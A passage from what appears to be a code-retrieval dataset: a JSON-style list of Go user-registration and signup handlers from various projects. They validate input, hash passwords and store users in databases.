registrationData{}\n\t\tif ar.MustParseJSON(w, r, &d) != nil {\n\t\t\treturn\n\t\t}\n\n\t\t//validate password\n\t\tif err := model.StrongPswd(d.Password); err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\t//create new user\n\t\tuser, err := ar.userStorage.AddUserByNameAndPassword(d.Username, d.Password, d.Profile)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\t//do login flow\n\t\tscopes, err := ar.userStorage.RequestScopes(user.ID(), d.Scope)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\tapp := appFromContext(r.Context())\n\t\tif app == nil {\n\t\t\tar.logger.Println(\"Error getting App\")\n\t\t\tar.Error(w, ErrorRequestInvalidAppID, http.StatusBadRequest, \"\")\n\t\t\treturn\n\t\t}\n\n\t\ttoken, err := ar.tokenService.NewToken(user, scopes, app)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusUnauthorized, \"\")\n\t\t\treturn\n\t\t}\n\n\t\ttokenString, err := ar.tokenService.String(token)\n\t\tif err != nil {\n\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\treturn\n\t\t}\n\n\t\trefreshString := \"\"\n\t\t//requesting offline access ?\n\t\tif contains(scopes, model.OfflineScope) {\n\t\t\trefresh, err := ar.tokenService.NewRefreshToken(user, scopes, app)\n\t\t\tif err != nil {\n\t\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\trefreshString, err = ar.tokenService.String(refresh)\n\t\t\tif err != nil {\n\t\t\t\tar.Error(w, err, http.StatusInternalServerError, \"\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tuser.Sanitize()\n\n\t\tresult := registrationResponse{\n\t\t\tAccessToken: tokenString,\n\t\t\tRefreshToken: refreshString,\n\t\t\tUser: user,\n\t\t}\n\n\t\tar.ServeJSON(w, http.StatusOK, result)\n\t}\n}","func Register(w http.ResponseWriter, r *http.Request) {\n\tvar dataResource UserResource\n\t//Decode the incoming User json\n\n\terr := json.NewDecoder(r.Body).Decode(&dataResource)\n\tif err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"Invalid User data\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t}\n\tuser := &dataResource.Data\n\tcontext := NewContext()\n\tdefer context.Close()\n\n\tc := context.DbCollection(\"users\")\n\trepo := &data.UserRespository{c}\n\n\t//insert User document\n\trepo.CreateUser(user)\n\t//Clean-up the hashpassword to eliminate it from response\n\tuser.HashPassword = nil\n\n\tif j, err := json.Marshal(UserResource{Data: *user}); err != nil {\n\t\tcommon.DisplayAppError(\n\t\t\tw,\n\t\t\terr,\n\t\t\t\"An unexpected error has occurred\",\n\t\t\t500,\n\t\t)\n\t\treturn\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusCreated)\n\t\tw.Write(j)\n\t}\n\n}","func Register(login string, email string, pass string) map[string]interface{} {\n\tvalid := helpers.Validation(\n\t\t[]interfaces.Validation{\n\t\t\t{Value: login, Valid: \"login\"},\n\t\t\t{Value: email, Valid: \"email\"},\n\t\t\t{Value: pass, Valid: \"password\"},\n\t\t})\n\tif valid {\n\t\tdb := helpers.ConnectDB()\n\t\tgeneratedPassword := helpers.HashAndSalt([]byte(pass))\n\t\tuser := &interfaces.User{Login: login, Email: email, Password: generatedPassword}\n\t\tdb.Create(&user)\n\n\t\tnow := time.Now()\n\t\tstatus := getStatus(\"https://google.pl\")\n\t\tuserlink := &interfaces.UserLink{Link: \"https://google.pl\", Status: status, Time: now, UserId: user.ID}\n\t\tdb.Create(&userlink)\n\n\t\tdefer db.Close()\n\n\t\tuserlinks := []interfaces.ResponseLink{}\n\t\trespLink := interfaces.ResponseLink{ID: userlink.ID, Link: userlink.Link, Status: userlink.Status, Time: userlink.Time}\n\t\tuserlinks = append(userlinks, respLink)\n\t\tvar response = prepareResponse(user, userlinks, true)\n\n\t\treturn response\n\n\t} else {\n\t\treturn map[string]interface{}{\"message\": \"not valid values\"}\n\t}\n}","func (m *Credential) Validate(formats strfmt.Registry) error {\n\treturn nil\n}","func Register(w http.ResponseWriter, r *http.Request, opt router.UrlOptions, sm session.ISessionManager, s store.IStore) {\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tparams := make(map[string]interface{})\n\t\tutils.RenderTemplate(w, r, \"register\", sm, s, params)\n\n\tcase \"POST\":\n\t\tvar newUser *user.User\n\n\t\tdfc := s.GetDataSource(\"persistence\")\n\n\t\tp, ok := dfc.(persistence.IPersistance)\n\t\tif !ok {\n\t\t\tutl.Log(\"Invalid store\")\n\t\t\treturn\n\t\t}\n\n\t\tc := p.GetCollection(\"users\")\n\n\t\tnewUser = &user.User{\n\t\t\tID: bson.NewObjectId(),\n\t\t\tUsername: r.PostFormValue(\"username\"),\n\t\t\tPassword: utils.HashString(r.PostFormValue(\"password\")),\n\t\t}\n\n\t\terr := c.Insert(newUser)\n\t\tif err != nil {\n\t\t\tutl.Log(err)\n\t\t}\n\n\t\tutl.Log(\"Registered user\", newUser)\n\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\tdefault:\n\t}\n}","func RegisterUser(c *gin.Context) {\n\t// Check Password confirmation\n\tpassword := c.PostForm(\"password\")\n\tconfirmedPassword := c.PostForm(\"confirmed_password\")\n\ttoken, _ := RandomToken()\n\n\t// Return Error if not confirmed\n\tif password != confirmedPassword {\n\t\tc.JSON(500, gin.H{\n\t\t\t\"status\": \"error\",\n\t\t\t\"message\": \"password not confirmed\"})\n\t\tc.Abort()\n\t\treturn\n\t}\n\n\t// Hash the password\n\thash, _ := HashPassword(password)\n\n\t// Get Form\n\titem := models.User{\n\t\tUserName: c.PostForm(\"user_name\"),\n\t\tFullName: c.PostForm(\"full_name\"),\n\t\tEmail: c.PostForm(\"email\"),\n\t\tPassword: hash,\n\t\tVerificationToken: token,\n\t}\n\n\tif err := config.DB.Create(&item).Error; err != nil {\n\t\tc.JSON(500, gin.H{\n\t\t\t\"status\": \"error\",\n\t\t\t\"message\": err})\n\t\tc.Abort()\n\t\treturn\n\t}\n\n\t// I want to send email for activation\n\n\tc.JSON(200, gin.H{\n\t\t\"status\": \"successfuly register user, please check your email\",\n\t\t\"data\": item,\n\t})\n}","func (u *UsersController) Create(ctx *gin.Context) {\n\tvar userJSON tat.UserCreateJSON\n\tctx.Bind(&userJSON)\n\tvar userIn tat.User\n\tuserIn.Username = u.computeUsername(userJSON)\n\tuserIn.Fullname = strings.TrimSpace(userJSON.Fullname)\n\tuserIn.Email = strings.TrimSpace(userJSON.Email)\n\tcallback := strings.TrimSpace(userJSON.Callback)\n\n\tif len(userIn.Username) < 3 || len(userIn.Fullname) < 3 || len(userIn.Email) < 7 {\n\t\terr := fmt.Errorf(\"Invalid username (%s) or fullname (%s) or email (%s)\", userIn.Username, userIn.Fullname, userIn.Email)\n\t\tAbortWithReturnError(ctx, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tif err := u.checkAllowedDomains(userJSON); err != nil {\n\t\tctx.JSON(http.StatusForbidden, gin.H{\"error\": err.Error()})\n\t\treturn\n\t}\n\n\tuser := tat.User{}\n\tfoundEmail, errEmail := userDB.FindByEmail(&user, userJSON.Email)\n\tfoundUsername, errUsername := userDB.FindByUsername(&user, userJSON.Username)\n\tfoundFullname, errFullname := userDB.FindByFullname(&user, userJSON.Fullname)\n\n\tif foundEmail || foundUsername || foundFullname || errEmail != nil || errUsername != nil || errFullname != nil {\n\t\te := fmt.Errorf(\"Please check your username, email or fullname. If you are already registered, please reset your password\")\n\t\tAbortWithReturnError(ctx, http.StatusBadRequest, e)\n\t\treturn\n\t}\n\n\ttokenVerify, err := userDB.Insert(&userIn)\n\tif err != nil {\n\t\tlog.Errorf(\"Error while InsertUser %s\", err)\n\t\tctx.AbortWithError(http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tgo userDB.SendVerifyEmail(userIn.Username, userIn.Email, tokenVerify, callback)\n\n\tinfo := \"\"\n\tif viper.GetBool(\"username_from_email\") {\n\t\tinfo = fmt.Sprintf(\" Note that configuration of Tat forced your username to %s\", userIn.Username)\n\t}\n\tctx.JSON(http.StatusCreated, gin.H{\"info\": fmt.Sprintf(\"please check your mail to validate your account.%s\", info)})\n}","func createUser(c *gin.Context) {\n password,_ := HashPassword(c.PostForm(\"password\"))\n\tuser := user{Login: c.PostForm(\"login\"), Password: password}\n\tdb.Save(&user)\n\tc.JSON(http.StatusCreated, gin.H{\"status\": http.StatusCreated, \"message\": \"User item created successfully!\"})\n}","func register(w http.ResponseWriter, r *http.Request) {\n\tsetHeader(w)\n\tif (*r).Method == \"OPTIONS\" {\n\t\tfmt.Println(\"Options request discard!\")\n\t\treturn\n\t}\n\tpwd := os.Getenv(\"PWD\")\n\tfmt.Println(\"current path\", pwd)\n\tvar registerInfo = RegisterInfo{}\n\terr := json.NewDecoder(r.Body).Decode(&registerInfo)\n\tif err != nil {\n\t\tfmt.Println(\"failed to decode\", err)\n\t\treturn\n\t}\n\t//转为绝对路径\n\tregisterInfo.MSPDir = pwd + registerInfo.MSPDir\n\tregisterInfo.PathOfCATLSCert = pwd + registerInfo.PathOfCATLSCert\n\n\tfmt.Println(\"registering\", registerInfo.Username)\n\turl := fmt.Sprintf(\"https://%s\",\n\t\tregisterInfo.Address)\n\n\terr, wout := runCMD(\"fabric-ca-client\", \"register\",\n\t\t\"--id.name\", registerInfo.Username,\n\t\t\"--id.secret\", registerInfo.Password,\n\t\t\"--id.type\", registerInfo.Type,\n\t\t\"--url\", url,\n\t\t\"--mspdir\", registerInfo.MSPDir,\n\t\t\"--tls.certfiles\", registerInfo.PathOfCATLSCert)\n\tif err != nil {\n\t\tjson.NewEncoder(w).Encode(string(wout.Bytes()))\n\t\treturn\n\t}\n\n\tsuccess := Success{\n\t\tPayload: string(wout.Bytes()),\n\t\tMessage: \"200 OK\",\n\t}\n\tjson.NewEncoder(w).Encode(success)\n\treturn\n}","func RegisterNewUser(c *soso.Context) {\n\treq := c.RequestMap\n\trequest := &auth_protocol.NewUserRequest{}\n\n\tif value, ok := req[\"source\"].(string); ok {\n\t\trequest.Source = value\n\t}\n\n\tif value, ok := req[\"phone\"].(string); ok {\n\t\trequest.PhoneNumber = value\n\t}\n\n\tif value, ok := req[\"instagram_username\"].(string); ok {\n\t\tvalue = strings.Trim(value, \" \\r\\n\\t\")\n\t\tif !nameValidator.MatchString(value) {\n\t\t\tlog.Debug(\"name '%v' isn't valid\", value)\n\t\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\"Invalid instagram name\"))\n\t\t\treturn\n\t\t}\n\t\trequest.InstagramUsername = value\n\t}\n\n\tif value, ok := req[\"username\"].(string); ok {\n\t\tvalue = strings.Trim(value, \" \\r\\n\\t\")\n\t\tif !nameValidator.MatchString(value) {\n\t\t\tlog.Debug(\"name '%v' isn't valid\", value)\n\t\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\"Invalid user name\"))\n\t\t\treturn\n\t\t}\n\t\trequest.Username = value\n\t}\n\n\tif request.InstagramUsername == \"\" && request.Username == \"\" {\n\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\"User name or instagram name is required\"))\n\t\treturn\n\t}\n\n\tif request.PhoneNumber == \"\" {\n\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, errors.New(\"User phone number is required\"))\n\t\treturn\n\t}\n\n\tctx, cancel := rpc.DefaultContext()\n\tdefer cancel()\n\tresp, err := authClient.RegisterNewUser(ctx, request)\n\n\tif err != nil {\n\t\tc.ErrorResponse(http.StatusBadRequest, soso.LevelError, err)\n\t\treturn\n\t}\n\n\tc.SuccessResponse(map[string]interface{}{\n\t\t\"ErrorCode\": resp.ErrorCode,\n\t\t\"ErrorMessage\": resp.ErrorMessage,\n\t})\n}","func (app *application) signup(w http.ResponseWriter, r *http.Request) {\n\t// get session\n\tsession, err := app.sessionStore.Get(r, \"session-name\")\n\tif err != nil {\n\t\tapp.serverError(w, err)\n\t}\n\n\terr = r.ParseForm()\n\tif err != nil {\n\t\tapp.clientError(w, http.StatusBadRequest)\n\t}\n\n\t// validation checks\n\tform := forms.New(r.PostForm)\n\tform.Required(\"name\", \"email\", \"password\", \"phone\", \"address\", \"pincode\")\n\tform.MinLength(\"password\", 8)\n\tform.MatchesPattern(\"email\", forms.RxEmail)\n\tpincode, err := strconv.Atoi(form.Get(\"pincode\"))\n\tif err != nil {\n\t\tform.Errors.Add(\"pincode\", \"enter valid pincode\")\n\t}\n\n\t// check whether signup was as a vendor or a customer\n\tif form.Get(\"accType\") == \"vendor\" {\n\n\t\t// additional GPS validations\n\t\tform.Required(\"gps_lat\", \"gps_long\")\n\t\tgpsLat, err := strconv.ParseFloat(form.Get(\"gps_lat\"), 64)\n\t\tif err != nil {\n\t\t\tform.Errors.Add(\"gps_lat\", \"enter valid value\")\n\t\t}\n\t\tgpsLong, err := strconv.ParseFloat(form.Get(\"gps_long\"), 64)\n\t\tif err != nil {\n\t\t\tform.Errors.Add(\"gps_lat\", \"enter valid value\")\n\t\t}\n\t\tif !form.Valid() {\n\t\t\tapp.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t}\n\n\t\t// insert into database\n\t\terr = app.vendors.Insert(\n\t\t\tform.Get(\"name\"),\n\t\t\tform.Get(\"address\"),\n\t\t\tform.Get(\"email\"),\n\t\t\tform.Get(\"password\"),\n\t\t\tform.Get(\"phone\"),\n\t\t\tpincode,\n\t\t\tgpsLat,\n\t\t\tgpsLong,\n\t\t)\n\n\t\t// return if duplicate email or some other error\n\t\tif err == models.ErrDuplicateEmail {\n\t\t\tform.Errors.Add(\"email\", \"Address already in use\")\n\t\t\tapp.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t} else if err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\n\t} else { // customer\n\t\t// if validation checks didn't pass\n\t\tif !form.Valid() {\n\t\t\t// prompt user to fill form with correct data\n\t\t\tapp.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t}\n\n\t\t// insert into database\n\t\terr = app.customers.Insert(\n\t\t\tform.Get(\"name\"),\n\t\t\tform.Get(\"address\"),\n\t\t\tform.Get(\"email\"),\n\t\t\tform.Get(\"password\"),\n\t\t\tform.Get(\"phone\"),\n\t\t\tpincode,\n\t\t)\n\n\t\t// return if duplicate email or some other error\n\t\tif err == models.ErrDuplicateEmail {\n\t\t\tform.Errors.Add(\"email\", \"Address already in use\")\n\t\t\tapp.render(w, r, \"signup.page.tmpl\", &templateData{Form: form})\n\t\t\treturn\n\t\t} else if err != nil {\n\t\t\tapp.serverError(w, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// redirect after succesful signup\n\tsession.AddFlash(\"Sign Up succesful\")\n\terr = session.Save(r, w)\n\tif err != nil {\n\t\tapp.serverError(w, err)\n\t}\n\thttp.Redirect(w, r, \"/login\", http.StatusSeeOther)\n}","func (db *boltDB) saveCredentials(acct providerAccount, creds []byte) error {\n\treturn db.Update(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket(acct.key())\n\t\tif b == nil {\n\t\t\treturn fmt.Errorf(\"account '%s' does not exist in DB\", acct)\n\t\t}\n\t\treturn b.Put([]byte(\"credentials\"), creds)\n\t})\n}","func RegisterUser(w http.ResponseWriter, r *http.Request) {\n\t//var dadosLogin = mux.Vars(r)\n\tname := r.FormValue(\"name\")\n\temail := r.FormValue(\"email\")\n\tuser := r.FormValue(\"usuario\")\n\tpass := r.FormValue(\"pass\")\n\n\tpass, _ = helpers.HashPassword(pass)\n\n\tsql := \"INSERT INTO users (nome, email, login, pass) VALUES (?, ?, ?, ?) \"\n\tstmt, err := cone.Db.Exec(sql, name, email, user, pass)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t\treturn\n\t}\n\t_, errs := stmt.RowsAffected()\n\tif errs != nil {\n\t\tlog.Fatal(err.Error())\n\t\treturn\n\t}\n\thttp.Redirect(w, r, \"/\", 301)\n}","func RegisterUser(ctx context.Context, mongoClient *mongo.Client) func(http.ResponseWriter, *http.Request) {\n return func(response http.ResponseWriter, request *http.Request) {\n fmt.Println(\"working\")\n request.ParseForm()\n \tresponse.Header().Set(\"content-type\", \"application/x-www-form-urlencoded\")\n collection := mongoClient.Database(\"go_meals\").Collection(\"users\")\n filter := bson.D{{\"email\", request.FormValue(\"email\")}}\n\n var currentUser models.User\n err := collection.FindOne(ctx, filter).Decode(&currentUser)\n\n if err != nil {\n bstring := []byte(request.FormValue(\"password\"))\n bcryptPassword, _ := bcrypt.GenerateFromPassword(bstring, 10)\n\n var newUser models.User\n newUser.ID = primitive.NewObjectID()\n newUser.Name = request.FormValue(\"name\")\n newUser.Email = request.FormValue(\"email\")\n newUser.Password = bcryptPassword\n\n _, err := collection.InsertOne(ctx, newUser)\n\n if err != nil {\n var errorMessage models.Errors\n errorMessage.User = \"there was an error creating the user\"\n json.NewEncoder(response).Encode(errorMessage)\n } else {\n json.NewEncoder(response).Encode(newUser)\n }\n } else {\n var errorMessage models.Errors\n errorMessage.User = \"This email already exists for a user.\"\n json.NewEncoder(response).Encode(errorMessage)\n }\n }\n}"],"string":"[\n \"func (svc *credentialService) Register(ctx context.Context, email, password, confirmPass string, claims map[string]interface{}) error {\\n\\t//Construct credentail object from request\\n\\tcred := model.Credential{}\\n\\tcred.Create(email, password, provider, claims)\\n\\tcred.Claims = claims\\n\\n\\t//Validate the credential data\\n\\terr := cred.Validate()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t/* Ignore password on register for now? because we only support google login\\n\\tVerify that password and confirmation password is equal\\n\\terr = cred.VerifyPassword(confirmPass)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*/\\n\\n\\t//Check duplicate email\\n\\t_, err = svc.repo.Get(ctx, email)\\n\\tif err != repo.ErrNotFound {\\n\\t\\treturn service.ErrAlreadyExists\\n\\t}\\n\\n\\t//Every pre-check passed, create a credential\\n\\terr = svc.repo.Create(ctx, cred)\\n\\tif err != nil {\\n\\t\\t//error 500 failed to create user\\n\\t\\treturn err\\n\\t}\\n\\n\\t//success, return no error\\n\\treturn nil\\n}\",\n \"func Register(c *gin.Context) {\\n\\tvar registerRequest types.RegisterRequest\\n\\terr := c.BindJSON(&registerRequest)\\n\\tif err != nil {\\n\\t\\tresponse := types.APIErrResponse{Msg: \\\"Please check your data\\\", Success: false, Err: err.Error()}\\n\\t\\tc.JSON(http.StatusBadRequest, response)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Validate register request struct\\n\\t_, err = govalidator.ValidateStruct(registerRequest)\\n\\tif err != nil {\\n\\t\\terrMap := govalidator.ErrorsByField(err)\\n\\t\\tresponse := types.APIErrResponse{Msg: \\\"Please check your data\\\", Success: false, Err: errMap}\\n\\t\\tc.JSON(http.StatusBadRequest, response)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Maybe add same tag in govalidator\\n\\tif registerRequest.Password != registerRequest.PasswordAgain {\\n\\t\\terrMap := make(map[string]string)\\n\\t\\terrMap[\\\"password_again\\\"] = \\\"Password again must be equal to password\\\"\\n\\t\\tc.JSON(http.StatusBadRequest, gin.H{\\\"msg\\\": \\\"Please check your data\\\", \\\"err\\\": errMap})\\n\\t\\treturn\\n\\t}\\n\\n\\t// hash password\\n\\tbytePassword := []byte(registerRequest.Password)\\n\\thashedPassword := hashPassword(bytePassword)\\n\\n\\t// Save user\\n\\ttx, err := models.DB.Begin()\\n\\tdefer tx.Rollback()\\n\\n\\tuser := models.User{}\\n\\tuser.Email = registerRequest.Email\\n\\tuser.Password = hashedPassword\\n\\tuser.IsAdmin = 0\\n\\tif err = user.Save(tx); err != nil {\\n\\t\\tresponse := types.APIErrResponse{Msg: \\\"Please check your data\\\", Success: false, Err: err.Error()}\\n\\t\\tc.JSON(http.StatusNotFound, response)\\n\\t} else {\\n\\t\\ttx.Commit()\\n\\t\\tresponse := types.APIResponse{Msg: \\\"Register user successfully\\\", Success: true}\\n\\t\\tc.JSON(http.StatusOK, response)\\n\\t}\\n}\",\n \"func Register(r *http.Request) (bool, error) {\\n\\tusername := r.FormValue(\\\"username\\\")\\n\\tnewPassword := r.FormValue(\\\"password\\\")\\n\\tconfirmPassword := r.FormValue(\\\"confirm_password\\\")\\n\\tu, err := models.GetUserByUsername(username)\\n\\t// If we have an error which is not simply indicating that no user was found, report it\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\treturn false, err\\n\\t}\\n\\tu = models.User{}\\n\\t// If we've made it here, we should have a valid username given\\n\\t// Check that the passsword isn't blank\\n\\tif newPassword == \\\"\\\" {\\n\\t\\treturn false, ErrEmptyPassword\\n\\t}\\n\\t// Make sure passwords match\\n\\tif newPassword != confirmPassword {\\n\\t\\treturn false, ErrPasswordMismatch\\n\\t}\\n\\t// Let's create the password hash\\n\\th, err := bcrypt.GenerateFromPassword([]byte(newPassword), bcrypt.DefaultCost)\\n\\tif err != nil {\\n\\t\\treturn false, err\\n\\t}\\n\\tu.Username = username\\n\\tu.Hash = string(h)\\n\\tu.ApiKey = GenerateSecureKey()\\n\\terr = models.PutUser(&u)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\treturn false, err\\n\\t}\\n\\treturn true, nil\\n}\",\n \"func validateRegister(f *userRequest) (errors map[string]string) {\\n\\terrors = make(map[string]string)\\n\\tmodel.Required(&errors, map[string][]string{\\n\\t\\t\\\"name\\\": []string{f.Name, \\\"Name\\\"},\\n\\t\\t\\\"email\\\": []string{f.Email, \\\"Email\\\"},\\n\\t\\t\\\"password\\\": []string{f.Password, \\\"Password\\\"},\\n\\t\\t\\\"cpassword\\\": []string{f.Cpassword, \\\"Confirm Password\\\"},\\n\\t})\\n\\tmodel.Confirmed(&errors, map[string][]string{\\n\\t\\t\\\"cpassword\\\": []string{f.Password, f.Cpassword, \\\"Confirm Password\\\"},\\n\\t})\\n\\tif len(errors) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\treturn\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request) {\\n\\tlog.Println(\\\"Register\\\")\\n\\tvar dataResource model.RegisterResource\\n\\t// Decode the incoming User json\\n\\terr := json.NewDecoder(r.Body).Decode(&dataResource)\\n\\tif err != nil {\\n\\t\\tcommon.DisplayAppError(\\n\\t\\t\\tw,\\n\\t\\t\\terr,\\n\\t\\t\\t\\\"Invalid data\\\",\\n\\t\\t\\thttp.StatusInternalServerError,\\n\\t\\t)\\n\\t\\treturn\\n\\t}\\n\\n\\terr = dataResource.Validate()\\n\\tif err != nil {\\n\\t\\tcommon.DisplayAppError(\\n\\t\\t\\tw,\\n\\t\\t\\terr,\\n\\t\\t\\t\\\"Invalid data\\\",\\n\\t\\t\\thttp.StatusBadRequest,\\n\\t\\t)\\n\\t\\treturn\\n\\t}\\n\\n\\tlog.Println(\\\"email: \\\" + dataResource.Email)\\n\\tcode := utils.RandStringBytesMaskImprSrc(6)\\n\\tlog.Println(code)\\n\\n\\tdataStore := common.NewDataStore()\\n\\tdefer dataStore.Close()\\n\\tcol := dataStore.Collection(\\\"users\\\")\\n\\tuserStore := store.UserStore{C: col}\\n\\tuser := model.User{\\n\\t\\tEmail: dataResource.Email,\\n\\t\\tActivateCode: code,\\n\\t\\tCreatedDate: time.Now().UTC(),\\n\\t\\tModifiedDate: time.Now().UTC(),\\n\\t\\tRole: \\\"member\\\",\\n\\t}\\n\\n\\t// Insert User document\\n\\tstatusCode, err := userStore.Create(user, dataResource.Password)\\n\\n\\tresponse := model.ResponseModel{\\n\\t\\tStatusCode: statusCode.V(),\\n\\t}\\n\\n\\tswitch statusCode {\\n\\tcase constants.Successful:\\n\\t\\temails.SendVerifyEmail(dataResource.Email, code)\\n\\t\\tresponse.Data = \\\"\\\"\\n\\t\\tbreak\\n\\tcase constants.ExitedEmail:\\n\\t\\tresponse.Error = statusCode.T()\\n\\t\\t//if err != nil {\\n\\t\\t//\\tresponse.Error = err.Error()\\n\\t\\t//}\\n\\t\\tbreak\\n\\tcase constants.Error:\\n\\t\\tresponse.Error = statusCode.T()\\n\\t\\t//if err != nil {\\n\\t\\t//\\tresponse.Error = err.Error()\\n\\t\\t//}\\n\\t\\tbreak\\n\\t}\\n\\n\\tdata, err := json.Marshal(response)\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tw.WriteHeader(http.StatusOK)\\n\\tw.Write(data)\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request) {\\n\\tvar t models.User\\n\\terr := json.NewDecoder(r.Body).Decode((&t))\\n\\tif err != nil {\\n\\t\\thttp.Error(w, \\\"Error en los datos recibidos \\\"+err.Error(), 400)\\n\\t\\treturn\\n\\t}\\n\\tif len(t.Email) == 0 {\\n\\t\\thttp.Error(w, \\\"El email es requerido\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\tif len(t.Password) < 6 {\\n\\t\\thttp.Error(w, \\\"El password tiene que tener un mínimo de 6 caracteres\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t_, found, _ := bd.CheckUserExist(t.Email)\\n\\n\\tif found {\\n\\t\\thttp.Error(w, \\\"Usuario ya existe\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t_, status, err := bd.InsertRegister(t)\\n\\tif err != nil {\\n\\t\\thttp.Error(w, \\\"Ocurrió un error al momento de registrar usuario\\\"+err.Error(), 400)\\n\\t\\treturn\\n\\t}\\n\\n\\tif !status {\\n\\t\\thttp.Error(w, \\\"Ocurrió un error al momento de registrar usuario\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\tw.WriteHeader(http.StatusCreated)\\n\\n}\",\n \"func Register(write http.ResponseWriter, request *http.Request) {\\n\\tvar object models.User\\n\\terr := json.NewDecoder(request.Body).Decode(&object)\\n\\tif err != nil {\\n\\t\\thttp.Error(write, \\\"An error ocurred in user register. \\\"+err.Error(), 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t//Validations\\n\\tif len(object.Email) == 0 {\\n\\t\\thttp.Error(write, \\\"Email is required.\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\tif len(object.Password) < 6 {\\n\\t\\thttp.Error(write, \\\"Password invalid, must be at least 6 characters.\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t_, userFounded, _ := bd.CheckExistUser(object.Email)\\n\\n\\tif userFounded {\\n\\t\\thttp.Error(write, \\\"The email has already been registered.\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t_, status, err := bd.InsertRegister(object)\\n\\n\\tif err != nil {\\n\\t\\thttp.Error(write, \\\"An error occurred in insert register user.\\\"+err.Error(), 400)\\n\\t\\treturn\\n\\t}\\n\\n\\tif !status {\\n\\t\\thttp.Error(write, \\\"Not insert user register.\\\"+err.Error(), 400)\\n\\t\\treturn\\n\\t}\\n\\n\\twrite.WriteHeader(http.StatusCreated)\\n}\",\n \"func Register(ctx *gin.Context) {\\n\\n\\tDB := common.GetDB()\\n\\n\\t//获取数据\\n\\tname := ctx.PostForm(\\\"name\\\")\\n\\ttelephone := ctx.PostForm(\\\"tel\\\")\\n\\tpassword := ctx.PostForm(\\\"password\\\")\\n\\temail := ctx.PostForm(\\\"email\\\")\\n\\n\\t//判断数据\\n\\tif len(name) == 0 {\\n\\t\\tname = utils.RandString(9)\\n\\n\\t}\\n\\n\\tif len(telephone) != 11 {\\n\\t\\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4221, gin.H{}, \\\"手机号必须为11位\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(password) < 6 {\\n\\t\\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4222, gin.H{}, \\\"密码需大于6位\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif !utils.EmailFormatCheck(email) {\\n\\t\\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4223, gin.H{}, \\\"email格式错误\\\")\\n\\t\\treturn\\n\\t}\\n\\t//处理数据\\n\\tvar user model.User\\n\\tDB.AutoMigrate(&user)\\n\\n\\tif UserExist(DB, telephone) {\\n\\t\\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4224, gin.H{}, \\\"用户已存在\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\thashpassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\\n\\tif err != nil {\\n\\t\\tresponse.Response(ctx, http.StatusInternalServerError, 5001, gin.H{}, \\\"密码加密错误\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tDB.Create(&model.User{Name: name, Password: string(hashpassword), Telephone: telephone, Email: email})\\n\\n\\tresponse.Success(ctx, gin.H{}, \\\"ok\\\")\\n\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request, DB *gorm.DB) {\\n\\tvar newUser User\\n\\tvar currentUser User\\n\\tcreatedResponse := response.JsonResponse(\\\"Account created successfully, Check your email and verify your email address\\\", 200)\\n\\texistsResponse := response.JsonResponse(\\\"Account already exists. Please register\\\", 501)\\n\\terrorResponse := response.JsonResponse(\\\"An error occured\\\", 500)\\n\\treqBody, err := ioutil.ReadAll(r.Body)\\n\\tjson.Unmarshal(reqBody, &newUser)\\n\\tDB.Where(\\\"email = ?\\\", 